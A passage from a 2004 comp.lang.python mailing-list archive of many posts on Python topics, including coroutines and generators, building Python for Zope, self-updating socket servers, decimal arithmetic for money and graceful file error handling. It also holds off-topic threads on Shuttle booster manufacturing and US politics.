programming language of the system? > > At this point, your templating is not declarative -- it's imperative. > Like everything in Python, btw -- not ONE 'declarative' in sight (except > the 'global' statement, which is part of what makes it a wart;-). I knew I should have taken more time to write that paragraph :-) The way I'm writing my code "reads" more like declarative code than imperative. One can surely argue with my lack of academic rigour. I think that I'm writing "declarative" code because I'm using class declarations to create complex, hierarchic data structures. I want to state __what it is__, not state __how it should be done__ step by step. Your comment also made me realize a point that should be highlighted. Normal templates [1] are clearly imperative, and that's part of my problem with them. But complex object-oriented structures, although including code (in the form of methods and descriptors) are much more dynamic than a simple template. Better than this -- normal templates are inherently sequential and imperative in the way they're written. Object oriented structures are much more flexible in this respect. [1] I stress the term "normal templates" because I'm focusing on standard, run-of-the-mill templating systems. > There IS a case for purely declarative stuff _embedding_ Python code, > like strakt.com's "blam" (purely informal name, as Strakt's marketing > may lot like it, we just can't keep saying "Business Logic Module > Language" forever;-) does for (basically) ERD + actions/triggers. The > embedding makes the whole non-declarative, of course. But the > declarative part can still be way prettier than it would be if it wasn't > a separate language, e.g. it could use such keywords as 'entity', > 'relation', 'attribute' and the like... In the end, you've raised another interesting point -- on the whole, my current approach is not purely declarative. It's rather a mix of imperative and declarative, but with a mostly declarative infrastructure holding things together. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From bradtilley at usa.net Thu Sep 16 21:47:52 2004 From: bradtilley at usa.net (Brad Tilley) Date: Thu, 16 Sep 2004 21:47:52 -0400 Subject: classes and standard modules Message-ID: <cidfnt$nsj$1@solaris.cc.vt.edu> I don't understand classes very well... maybe some day. Is it just me or are they supposed to be difficult to understand? They make my head hurt. Anyway, because I don't understand classes well, I avoid using them. However, many modules in the standard library are implemented as classes: sgmllib, HTMLParser, etc. Is it possible to use these modules without getting into OO programming and inheritance and all the other lofty, theoretical CS concepts that small script writers, like me, don't really need? From me at privacy.net Fri Sep 24 14:27:56 2004 From: me at privacy.net (Richard Hanson) Date: Fri, 24 Sep 2004 11:27:56 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> <mailman.3821.1095980182.5135.python-list@python.org> <itq6l0hehkhv8psdin3unri3aba268i63u@4ax.com> <mailman.3830.1095998544.5135.python-list@python.org> <07c7l01vmhodigl5qcp27er6gm4l5b8r43@4ax.com> <pbadnZvDHOjzYM7cRVn-jg@powergate.ca> Message-ID: <bnp8l0tqaafavf4j0hp09hfesj6vkojrb4@4ax.com> [A heads up: This is mostly a shorter, "chatty"-type post. :-) ] Peter Hansen wrote: > Richard Hanson wrote: > > As I just replied to David Lees -- I didn't signal adequately that I > > was not soliciting names for the project at this juncture, but was > > merely attempting some levity. :-) I *should* have realized from the > > recent "naming threads" what might happen... -- my bad! :-p > > No worries, Richard. You *did* signal that quite adequately. Oh, good -- I was wondering if my sense of humor was tending towards infinitely incomprehensible. ;-) > This, however, is comp.lang.python and clear signals never > stopped anyone. <wink> I've noticed that. :-) > You could say "Please do *not* offer > any more name suggestions", and then sit back and peruse the > many interesting (?) ideas that are offered anyway. Heh. You understand human psychology well, too, I see. :-) By the way, I *have* appreciated all the replies -- after all, I'm a new poster waltzing in and plopping down with what could seem like some "non-tobacco"-fueled pipe dream. ;-) > -i'm-partial-to-FerretFace(tm)-ly y'rs, Now *that* is my kind of name. (I won't steal it, of course.) Thanks for the reply, Peter! onward-and-upwardly y'rs Richard Hanson -- sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com From jeffrey at fro.man Sun Sep 5 12:06:44 2004 From: jeffrey at fro.man (Jeffrey Froman) Date: Sun, 05 Sep 2004 09:06:44 -0700 Subject: Linux application deployment References: <cheog1$ns4$1@atlantis.news.tpi.pl> <413B2D73.3010106@cs.com> Message-ID: <10jmecm8fnf0h5c@corp.supernews.com> Robert M. Emmons wrote: > One thing I've always wonders was -- Is there a way for a python module > to tell where it's file is located?????If?you?could?do?this?it?might > also be possible to have a python script reset sys.path based on it's > own location. > One way of doing this is: import os, sys directory, filename = os.path.split(__file__) sys.path.append(directory) ------- Jeffrey From michaels at rd.bbc.co.uk Fri Sep 17 05:08:11 2004 From: michaels at rd.bbc.co.uk (Michael Sparks) Date: Fri, 17 Sep 2004 10:08:11 +0100 Subject: Microthreads without Stackless? References: <mailman.3171.1094844869.5135.python-list@python.org> <18282ecb.0409120634.5ba044ee@posting.google.com> <Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com> <18282ecb.0409151755.47b691e2@posting.google.com> <Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com> <8cf9f521.0409162213.105d321e@posting.google.com> <dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com> Message-ID: <cieafr$m4b$1@nntp0.reith.bbc.co.uk> Bryan Olson wrote: > David Mertz, Ph.D. wrote: > > It's too bad you didn't bother to READ my article at: > > > > http://gnosis.cx/publish/programming/charming_python_b5.html > > > > This is distinct from my other article that covers "weightless > > threads", though there is some overlap in the concepts. > > I spent a couple hours going through the "weightless threads" > paper, and looking up the background including that one. I had > previously concluded that Python generators could not implement > what I wanted from real co-routines, so I was interested in > seeing if there was a reasonable implementation. > > > While you do need a scheduler to control the branching, once you > > have this you get EXACTLY the same thing as coroutines in other > > languages. Specifically, you can branch from any generator, into > > the body of whatever other generator you wish. David, The real root of the 'problem' "Bryan Olson" is putting forward is the fact that you can only jump between yield points in simple generators, which are inherently single level, rather than nested. (ie the traditional "you can't wrap generators" question) Consider a TCP client using generators * You have a connection, mainloop and shutdown phase. * You can seperate that into a connection factory and a connection handler, and have the connection factory one generator and the connection handler another. * You can then either have the connection factory directly handle the scheduling of the connection handler by the "for x in y: yield x" trick or provide inter-generator communications. Personally I prefer the latter - it means I can reuse the connection handler in a TCP server as well. This is also why I put 'problem' above - single level yield encourages this - I do not think this is a problem any more than python encouraging modular code elsewhere is a problem. Consider a simple TCP client using what Bryan Olson wants (or appears to want) - let's call them Greenlets. * You write your TCP client as if it were normally threaded. * You wrap any socket create/read/write code in a function that whenever it needs to block calls the equivalent of "suspend". (Let's call that greenlet.main.switch() ) * You decorate your original function (the TCP client) as a greenlet, and leave your code essentially unchanged * You would also need a greenlet to handle selects, and a scheduler, but gain the same benefits as if you'd transformed your code to use a reactor/proactor pattern, At least I *think* this is where Bryan is coming from... > Great; I'd love to have the same thing as real co-routines. > Here's the problem: I have a server that currently handles > multiple clients using one thread per connection. When a > client-handler needs to send or receive data, it simply reads or > writes to a file-like thing. > > Now I want to handle twenty thousand clients, so I want to > replace my threads with co-routines. With real co-routines, I > can easily do that. I write an asynchronous I/O handler routine > that can wait on many files at once, perhaps with os.select(). > I over-ride the file read and write procedures to initiate the > I/O, then yield. When I/O is ready on a file, the I/O handler > can switch back to the client-handler. > > Importantly, I do *not* have to re-write all the functions in > every call chain that leads to a read or write. I just need the > I/O handler (which includes a kind of scheduler) at the top, and > I over-ride my file I/O calls at the bottom. Bryan, Out of interest, have you looked at the Greenlets package from stackless? I'm pretty certain it goes *a lot* further towards where you want to be than you currently are and works with standard python. Yes, you might need to create a simple scheduler. Yes, you will need to decorate some functions. But it will largely allow you to leave most of your code looking pretty much unchanged, and certainly not the level of change you'd need if you went for a traditional statemachine/reactor (or proactor) pattern based server. I've mentioned it here a few times and you're the most vocal person I think might benefit from at least giving it a look. Personally when I was in a similar situation to yourself a while back, and rather than complain about a feature being missing that's missing from many languages, I decided to modularise my code differently such that approaches _like_ those David Mertz put forward became plausible (I personally found the article very useful in detailing generators' potential). Personally, I've found the results of using generators in the way David Mertz put forwards to be extremely useful. This is especially true if you allow communications between generators in CSP style semantics, encouraging greater reuse than traditional co-routines but now I'm way off topic. If you really think you need what you say you need, I really would suggest Greenlets - it takes you a lot closer to where you say you want to be. Thinking-it-might-be-useful-ly, Michael. -- Michael.Sparks at rd.bbc.co.uk British Broadcasting Corporation, Research and Development Kingswood Warren, Surrey KT20 6NP This message (and any attachments) may contain personal views which are not the views of the BBC unless specifically stated. From vbfoobar at anonymous.to Tue Sep 14 05:17:04 2004 From: vbfoobar at anonymous.to (Vbfoo Bar) Date: 14 Sep 2004 02:17:04 -0700 Subject: Comparing perfs of two python interpreters on the same Linux machine (for Zope) Message-ID: <26196943.0409140117.1508f5eb@posting.google.com> Hello, To implement a Zope intranet on a linux RedHat ES 3, I had to install a Python 2.3.4 that I have compiled myself. I would like to compare the respective performance of this python interpreter and that of the Python provided by RedHat (just a little bench program would be sufficient) as I suspect the binary Python 2.3.4 (or just the Zope?) I have produced is very inefficient (very very slow!). Additional info below. Thanks by advance for your advice. The python binaries on my machine: ================================== The python that comes with RedHat ES 3 (this is a Python 2.2.3): -rwxr-xr-x 2 root root 795584 Aug 8 2003 /usr/bin/python The python I have compiled myself (Python 2.3.4, required and used by Zope/plone): -rwxr-xr-x 1 root root 2265733 Jun 25 14:58 /usr/local/bin/python2.3 (Note that the binary sizes are very different: is this suspect?) How I produced my (apparently inefficient binaries): ==================================================== For python: [root# wget http://www.python.org/ftp/python/2.3.4/Python-2.3.4.tgz [root# ./configure [root# make ; make install For zope: $ ./configure --prefix=/usr/local/zope-2.7.1-0 --with-python=/usr/local/bin/python2.3 $ make $ make install From bradtilley at usa.net Wed Sep 15 08:46:34 2004 From: bradtilley at usa.net (Brad Tilley) Date: Wed, 15 Sep 2004 08:46:34 -0400 Subject: software that knows how to update itself Message-ID: <ci9dja$dii$1@solaris.cc.vt.edu> I've written and tested a *very basic* socket server that I'll have to deploy soon... sooner than I'd like as much of the functionality that I want to include hasn't been implemented or even tested yet. So, I've been thinking about writing a function that has the ability to upgrade the socket server remotely. However, I have never done anything like this so I'm looking for tips and advice on the subject. The socket server runs continuously listening for connections so I'll always be able to communicate with it. Here's some pseudo code that captures the essence of what I'd like to do: def update_urself(): receive updated socket server code & write it to a file verify file with crc or md5sum check on both ends if verify is OK: close all connections replace sock_serv.py with sock_serv_update.py if conn.recv == 'UPDATE' update_urself() Does this look sane? From mark at prothon.org Mon Sep 6 18:21:22 2004 From: mark at prothon.org (Mark Hahn) Date: Mon, 6 Sep 2004 15:21:22 -0700 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) (was: Announcing PyCs, a new Python-like language on .Net) References: <20040901221925.2128958333.EP@zomething.com> Message-ID: <y6hwmqrf1kkn.1sum3216hhtcw$.dlg@40tude.net> On Wed, 1 Sep 2004 22:19:25 -0800, EP wrote: > Jeremy Bowers commented: > If you can't come up with a good name, use a letter and symbol or > three (but no more than 3), e.g. C, C++, C#. Such will be > non-objectionable, but will not help you in getting your > language/technology adopted, or even remembered. Well, I gave up on coming up with a good name so I'm taking your advice and using DX, for Dynamic Xml language. I had a number of cute names like groovy but I just couldn't stand the thought of a cute name. I also had acronyms like UDXL but that would get lost in the sea of acronyms. So my web-site will be dx-lang.org and all will be well. Does anyone know of any conflicts for DX? Any existing software projects? Any languages? I know all about all the ham radio stuff but I assume that is a non-issue. From peter at engcorp.com Fri Sep 24 07:04:41 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 Sep 2004 07:04:41 -0400 Subject: XSLT and client cache In-Reply-To: <4c900ea0.0409232256.5a90ea09@posting.google.com> References: <4c900ea0.0409232256.5a90ea09@posting.google.com> Message-ID: <pbadnZTDHOjUYs7cRVn-jg@powergate.ca> john wrote: > I want to do something like this: > Store the XSLT document in the client cache if it is not already present. > If present then use that XSLT document to display the xml. > I have no idea how to do this. The question is somewhat vague, but I'll refrain from directing you to read a certain essay by ESR for now. ;-) Can we assume by "client" you mean a web browser? If so, why would you treat the XSLT document any differently from any other file your server sends it? Any browser with the capability should already be caching XSLT just as it caches anything else that doesn't ask not to be cached with the various HTTP headers that can do so... -Peter From flavell at ph.gla.ac.uk Tue Sep 14 09:43:24 2004 From: flavell at ph.gla.ac.uk (Alan J. Flavell) Date: Tue, 14 Sep 2004 14:43:24 +0100 Subject: Xah Lee's Unixism In-Reply-To: <m3sm9lvwnv.fsf@europa.pienet> References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <opsd2vlvy7pqzri1@mjolner.upc.no> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <chsu8b$ujb$1@grandcanyon.binc.net> <Eeo0d.18563$Qx2.9439@newssvr29.news.prodigy.com> <ci4gs0$23p$1@grandcanyon.binc.net> <m3pt4qc57f.fsf@europa.pienet> <4146dc2f$0$2665$61fed72c@news.rcn.com> <m3sm9lvwnv.fsf@europa.pienet> Message-ID: <Pine.LNX.4.61.0409141442400.6495@ppepc56.ph.gla.ac.uk> On Tue, 14 Sep 2004, Greg Menke wrote: > jmfbahciv at aol.com writes: > > > turned into a 100% religious war. > > They're pretty convinced of that already- after all Dubya called this > a crusade from day 1. I seriously doubt that he understood what the word meant. From tim.peters at gmail.com Tue Sep 21 21:02:25 2004 From: tim.peters at gmail.com (Tim Peters) Date: Tue, 21 Sep 2004 21:02:25 -0400 Subject: Why not FP for Money? In-Reply-To: <cc887c1d.0409202325.76ec2227@posting.google.com> References: <cc887c1d.0409202325.76ec2227@posting.google.com> Message-ID: <1f7befae04092118027e50011c@mail.gmail.com> [Chris Barker] > I promise this is not a troll... Really, it's embarassing, because > this is one Engineer that DID take a Numerical Analysis course, and > from William Kahan, no less, and I still don't really get it. > ... You can read what Kahan says about it, then: http://www.cs.berkeley.edu/~wkahan/MktgMath.pdf and supplement that with Cowlishaw's FAQ: http://www2.hursley.ibm.com/decimal/decifaq.html and IBM's proposed std for decimal arithmetic, a level up from that link. From lynn at garlic.com Fri Sep 3 16:22:55 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Fri, 03 Sep 2004 14:22:55 -0600 Subject: Xah Lee's Unixism References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> <P5GdnU8q-8Sw66rcRVn-qg@powergate.ca> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> Message-ID: <uzn47qezk.fsf@mail.comcast.net> Alan Balmer <albalmer at att.net> writes: > No, because they were *not* manufactured on the launch pad. > Transportation would be required from any other place - in Utah or > not. > > Even if they were manufactured on the launch pad, there would be > more than one piece. as mentioned in the earlier post ... supposedly all other competing bids were all sites on various shores that all allowed barging of single, completed, manufactored unit to florida w/o sectioning and no other designs had gaskets. supposedly utah was the *only* bid that required sectioning to meet various overland transportation requirement. previous post http://www.garlic.com/~lynn/2004k.html#58 earlier reply to your comment about ... "shuttle boosters are 3.7m diameter" ... with comment about the alternative single unit assemblers being barged to florida. http://www.garlic.com/~lynn/2004k.html#54 as repeatedly posted ... as far as i know from all the stuff from the period ... the comments were that the utah design was the *only* design that had to be built in sections (because of transportation issues) and re-assembled in florida and the only design that involved such gaskets. all other designs were built on various shores in single pieces and would be barged as single piece to florida and no gaskets were involved (because they were manufactored in single pieces and barged to florida in whole pieces). the difference between barging and train ... was that there are significantly less length, width, height, dimensional restrictions on barged items compared to dimensional restrictions on overland train .... because of bridges, tunnels, curves, clearances from adjacent traffic, clearances involving any sort of structures near tracks. i was under the impression that barging was fairly straight forward from east coast, gulf coast, many major rivers, etc. i would guess that anyplace that you could get a ship that was 160' or larger ... you could transport a barged assembly. in fact, a shipyard that was accostomed to building a ship in a single assemble (w/o needing gaskets to hold it together) could probably also build a single assembly booster rocket ... and barge it to florida. i'm not sure about how to catalog all the possible sites &/or shipyards that could build single section unit (things like single section ships that are build in single section w/o gaskets to hold the different sections together) ... some quicky google about ports http://www.aapadirectory.com/cgi-bin/showportprofile.cgi?id=3709®ion=US turns up corpus cristi ... they handle ships built in single sections (w/o gaskets to hold them together) up to 1000 ft long and 45 ft depth. they also mention some docks that are barge use only that only handl 260 ft length and 16 ft depth (course there probably isn't much of height or width restriction with overhanging adjacent structures). -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From FBatista at uniFON.com.ar Tue Sep 21 16:27:25 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Tue, 21 Sep 2004 17:27:25 -0300 Subject: New to Python Message-ID: <A128D751272CD411BC9200508BC2194D053C79A5@escpl.tcp.com.ar> [webbsoft2 at alltel.net] #- in_file = open( "s3cga1.new", "r") #- #- while 1: #- data = in_file.readline() #- if not data: #- break #- #- if data[0:1] == "(": #- #- nCost = data[ 99:106] #- nPack = data[ 44:48] #- #- nRetail = data[ 79:87] #- nQuan = data[ 87:90] #- nAllowance = data[ 147:154] #- #- nGp = ( ( nRetail / nQuan ) - ( ( nCost - nAllowance) / #- nPack ) ) / ( #- nRetail / nQuan ) #- #- print nCost, nPack, nQuan, nRetail, nAllowance #- #- #- EXAMPLE OF DATA FILE #- (00007756725434,'*BREYER STRWBRY ICE ',0007,0006,' 56 OZ #- ','000216 #- #- ',0004.95,001,2004260,0024.43000,0000000,00000.00,000,0000000 #- ,0000000,0004.00000,2004262,2004282), #- (00007756725433,'*BREYER PEACH ICE CR',0007,0006,' 56 OZ #- ','000224 #- #- ',0004.95,001,2004260,0024.43000,0000000,00000.00,000,0000000 #- ,0000000,0004.00000,2004262,2004282), You should really consider using ``split()`` to separate the lines in the files, you won't get bad slices that way. And use int(), float() or Decimal() to pass a string to number. Regards. Facundo Batista Desarrollo de Red fbatista at unifon.com.ar (54 11) 5130-4643 Cel: 15 5097 5024 From aleaxit at yahoo.com Sat Sep 4 08:13:21 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 14:13:21 +0200 Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com> <mailman.2807.1094184160.5135.python-list@python.org> <1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com> <uk6vbmcru.fsf@fitlinxx.com> Message-ID: <1gjlbg6.1kw163nlpganwN%aleaxit@yahoo.com> David Bolen <db3l at fitlinxx.com> wrote: ... > The one failure that I don't think you could easily anticipate is a > change in the actual exception message - for example the "r('shuf', > 'astring')" test wants a TypeError saying "object doesn't support item > assignment", but 2.4 changes that to "object does not support item > assignment". Yeah, doctest IS prone to this sort of issue, sigh -- wording of error messages keeps changing, in ways either subtle or major. I gather that 2.4 doctest has a "skip" indicator (an ellipsis I believe) to help with that, but I don't want to break compatibilty with 2.3... Alex From elbertlev at hotmail.com Sat Sep 11 07:59:57 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 11 Sep 2004 04:59:57 -0700 Subject: Shorter checksum than MD5 References: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be> <7xfz5rn1w2.fsf@ruckus.brouhaha.com> <hNX%c.241261$Ch3.12334176@phobos.telenet-ops.be> <7xllfjfe9m.fsf@ruckus.brouhaha.com> <9418be08.0409100656.516fef2d@posting.google.com> <mailman.3182.1094879870.5135.python-list@python.org> Message-ID: <9418be08.0409110359.4e8aac81@posting.google.com> Tim Peters <tim.peters at gmail.com> wrote in message news:<mailman.3182.1094879870.5135.python-list at python.org>... > [Paul Rubin] Very good. But I beleive, he did not mentioned a "hostile environment". From snail at objmedia.demon.co.uk Tue Sep 21 12:06:16 2004 From: snail at objmedia.demon.co.uk (Stephen Kellett) Date: Tue, 21 Sep 2004 17:06:16 +0100 Subject: up with PyGUI! References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <m3pt4nwa84.fsf@g2ctech.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <m37jqvvypt.fsf@g2ctech.com> <1gk7753.1c973iatj1rtuN%aleaxit@yahoo.com> <m3ekl1398l.fsf@g2ctech.com> <1gk91v9.1k6244t1tmaymsN%aleaxit@yahoo.com> <Xns956AFB77A085JanC@213.118.38.197> Message-ID: <6$qxy2J4FFUBFwrz@objmedia.demon.co.uk> In message <Xns956AFB77A085JanC at 213.118.38.197>, JanC <usenet_spam at janc.invalid> writes >This is probably not only Apple's fault. Most local music distribution >rights are owned by different, local companies that don't want to lose >their possible income/power, so online music stores like Apple often have >to make separate agreements per country... Indeed, try purchasing Hevia's music in the UK. There are no distributors because the rights are not available in the UK. It is very hard to get his music in the UK, but go to Northern Spain (Galicia, Asturias) and you can't move for falling over his music. Stephen -- Stephen Kellett Object Media Limited http://www.objmedia.demon.co.uk RSI Information: http://www.objmedia.demon.co.uk/rsi.html From pmaupin at speakeasy.net Mon Sep 20 20:33:47 2004 From: pmaupin at speakeasy.net (Patrick Maupin) Date: 20 Sep 2004 17:33:47 -0700 Subject: Electronic voting feasibility References: <chses7$cha@odah37.prod.google.com> <VVk0d.2788$xA1.852@newsread3.news.pas.earthlink.net> <653b7547.0409181444.41e0d131@posting.google.com> <c0mtk0ldsjhdaooegqberl5501ldh6nue2@4ax.com> Message-ID: <653b7547.0409201633.5216dfef@posting.google.com> Christos "TZOTZIOY" Georgiou wrote: > ISTM that Andrew (and Greg, initially) used the word "sound" as an > adjective (~ "firm", "secure") and not as a noun ("sound" as what we > hear). So either you understood "sonic cryptography" or I missed the > joke :) Well, it _was_ a particularly lame joke, and there is no real defense for that. But I was confused why you thought I was using "sound" as a noun rather than as an adjective, until I looked it up online. I don't know what particular resource you use, but I was mystified to find that www.m-w.com does not have an entry for an adjective "sound" meaning "acoustic." I find this baffling -- not only is this an extremely common usage (IMO), but in the dictionary itself, one of the entries in the definition for "acoustic" refers to "sound waves"! I guess I should find a better resource. After all, their thesaurus doesn't even know what a "synonym" is: http://www.m-w.com/cgi-bin/thesaurus?book=Thesaurus&va=synonym&x=0&y=0 Regards, Pat From steve at holdenweb.com Thu Sep 30 10:37:49 2004 From: steve at holdenweb.com (Steve Holden) Date: Thu, 30 Sep 2004 10:37:49 -0400 Subject: File handling: The easy and the hard way In-Reply-To: <pan.2004.09.30.13.56.48.18412@web.de> References: <pan.2004.09.30.13.56.48.18412@web.de> Message-ID: <_WU6d.1785$TY2.1104@lakeread04> Hans-Joachim Widmaier wrote: > Hi all. > > Handling files is an extremely frequent task in programming, so most > programming languages have an abstraction of the basic files offered by > the underlying operating system. This is indeed also true for our language > of choice, Python. Its file type allows some extraordinary convenient > access like: > > for line in open("blah"): > handle_line(line) > > While this is very handy for interactive usage or throw-away scripts, I'd > consider it a serious bug in a "production quality" software. Tracebacks > are fine for programmers, but end users really never should see any. > Especially not when the error is not in the program itself, but rather > just a mistyped filename. (Most of my helper scripts that we use to > develop software handle files this way. And even my co-workers don't > recognize 'file or directory not found' for what it is.) End users are > entitled to error messages they can easily understand like "I could not > open 'blaah' because there is no such file". Graceful error handling is > even more important when a program isn't just run on a command line but > with a GUI. > I agree we really shouldn't expect users to have to see tracebacks, but that doesn't mean that exception handling has to be sophisticated. Here's something I'd consider acceptable, which doesn't add hugely to the programming overhead for multiple files but doesn't burden the user with horrible tracebacks. I've used it to print itself, so you see how it works and what it contains all in the same output: sholden at DELLBOY ~ $ ./ft.py one.py ft.py Problem handling file one.py : [Errno 2] No such file or directory: 'one.py' #!/usr/bin/python # # ft.py: simple multi-file processor with error handling # import sys files = sys.argv[1:] for f in files: try: for l in file(f): sys.stdout.write(l) except Exception, reason: print >> sys.stderr, "Problem handling file", f, ":", reason I'm quite happy to let the process-termination housekeeping code, or perhaps (in some implementations) the Python housekeeping at garbage collection, close the file, which you might think is unduly sloppy. What can I say, the user pays if they don't want sloppy :-). But I'd consider this sufficiently close to "production quality" to be delivered to end-users. Clearly you can add file assignment to a variable and a try/finally to ensure it's closed. You gets what you pays for. Naturally, if recovery is required rather than just error-reporting then the situation can be expected to be a little more complicated. > Which means? Which means that all this convenient file handling that > Python offers really should not be used in programs you give away. When I > asked for a canonical file access pattern some months ago, this was the > result: > http://groups.google.com/groups?hl=de&lr=&ie=UTF-8&threadm=pan.2003.12.30.21.32.37.195763%40web.de&rnum=1&prev=/groups%3Fhl%3Dde%26lr%3D%26ie%3DUTF-8%26q%3Dfile%2Bpattern%2Bcanonical%26btnG%3DSuche%26meta%3D > > Now I have some programs that read and write several files at once. And > the reading and writing is done all over the place. If I really wanted to > do it "right", my once clear and readily understandable code turns into a > nightmare. This doesn't look like the language I love for its clarity and > expressivness any more. Well, the more complex your processing gets the more complex your error-handling gets too, but I'd say you should look at some serious refactoring here - you appear to have what's sometimes called a "code smell" in extreme programming circles. See http://c2.com/cgi/wiki/?CodeSmell You also appear to have a good nose, one of the distinctive properties of the conscientious programmer. > Python, being a very high level language, needs a > higher level file type, IMHO. This is, of course, much easier said than > done. And renown dimwits like me aren't expected to come up with solutions. Don't talk yourself down! You have already shown sound instinct. > I've thought about subclassing file, but to me it looks like it wouldn't > help much. With all this try/except framing you need to insert a call > level anyway (wondering if this new decorator stuff might help?). The best > I've come up so far is a vague idea for an error callback (if there isn't > one, the well known exceptions might be raised) that gets called for > whatever error occured, like: > > class File: > ... > def write(self, data): > while True: > try: > self._write(data) > except IOError, e: > if self.errorcallback: > ret, dat = self.errorcallback(self, F_WRITE, e, data) > if ret == F_RETURN: > return dat > else: > raise > > The callback could then write a nice error message, abort the program, > maybe retry the operation (that's what the 'while True'-loop is for) or > return whatever value to the original caller. Although the callback > function will usually be more than a few lines, it can be reused. It can > even be packed into your own file-error-handling module, something the > original usage pattern can't. > The problem that any such approach is likely to have can be summed up as "If processing is complicated then error-handling may also become complicated, and error-recovery even more so". You shouldn't expect it to be too simple, but if it's too complex then you might find that a restructuring of your program will yield better results. > If you still bear with me, you might as well sacrifice a few more seconds > and tell me what you think about my rant. Is everything just fine as it is > now? Or do I have a point? I always felt it most important to handle all > errors a program may encounter gracefully, and the easier this is to do, > the less likely it is a programmer will just sneak around the issue and > let the interpreter/run time system/operating system handle it. (And yes, > I'm guilty of not obeying it myself, as it can double or triple the time > needed to write the whole program; just because its so cumbersome.) > There's an old rule-of-thumb, which may come from "The Mythical Man-Month", still quite a worthwhile read though probably at least 30 years old now. Or it may not. It states that you can expect to spend three times as much effort producing a program product (something to be delivered to end-users) as producing a program (something you plan to use yourself, and write accordingly); and that a further factor of three is required to produce a programmed system product (a collection of programs which work together as a system and will be delivered to end-users) over just producing the program products individually. This combined factor of nine is often referred to as "engineering effort", and includes a) The creative exercise of imagination sufficient to anticipate the usual and unusual failure cases; b) The creative exercise of programming skill sufficient to ensure that the failure cases still result in acceptable system behavior; and c) The creative exercise of political skill sufficient to persuade a reluctant management that steps a) and b) are worth paying for. The combination of all three components is to be found in beasts sometimes known as "software engineers", frequently held by some to be mythical. If I were feeling cynical, I might sum this up by saying "Python is a programming language, not a f***ing magic wand". But that won't stop people from looking for the silver bullet that solves all their problems in a songle line of code. Hope this helps, and doesn't come across as critical. Your questions are reasonable, and show a sincere appreciation of the difficulties of producing high-quality software. And we don't ever want anything else, do we? regards Steve From firstname at lastname.pr1v.n0 Fri Sep 10 14:56:01 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Fri, 10 Sep 2004 20:56:01 +0200 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> Message-ID: <1ctshc.kd52.ln@via.reistad.priv.no> In article <1oh3k01cieht04nmfo27pvihg8teme0mdt at 4ax.com>, Alan Balmer <albalmer at spamcop.net> wrote: >On Fri, 10 Sep 2004 00:13:56 +0200, Morten Reistad ><firstname at lastname.pr1v.n0> wrote: > >>>However Bush is demonstrably poor. He ignored the warnings from >>>the CIA, FBI, outgoing Clinton administration about imminent >>>attacks. He was focused on attacking Saddam and Iraq from the >>>first, and perverted 9/11 into that at the earliest opportunity. >>>He has offended many more than most of his predecessors. I will >>>say that he seems to have learned the names of some foreign >>>leaders since being elected. >> >>Bush has had an agenda all right; but I don't quite get what it is. >> >And, of course, entertaining the possibility that his agenda is just >what he says it is, is completely out of the question. I just cannot understand what he wanted to do with Iraq, so fast and with such a limited expedition corps. If we for a moment give them the benefit of the doubt and assume that Iraq WAS a hotbed of terrorists buiding WMD's. There may after all be some information they cannot tell us. This would explain the hurry and the go-it-alone tactic. In that case , why wasn't the place hit a lot harder; int the Nixon/Pinochet style? Why a PHB like Bremer? Why not a real tough army goy the first couple of months? I just cannot make sense of this scenario. On the other hand, it may be a wish to liberate Iraq from the ravages of Saddam, and a final round of being pissed at Saddam repeatedly flouting the ceasefire agreement. This is a perfectly legitimate reason to escalate the war again (it is the same war, there was never a peace agreement, only a cease-fire). In that case a few rounds of UN song and dance could be done while a new coalition was built; with the US taking around a fourth of the cost and manpower, like last time. This could be convincingly sold to the Iraqi populace as a liberation. So, I don't get it if the agenda is just what is spoken. If the agenda is to make way for Israel scenario #2 would still be a better one. Contrast this with Afghanistan, where there was a pretty high urgency to get the al-Quaeda and the Taliban before they moved with 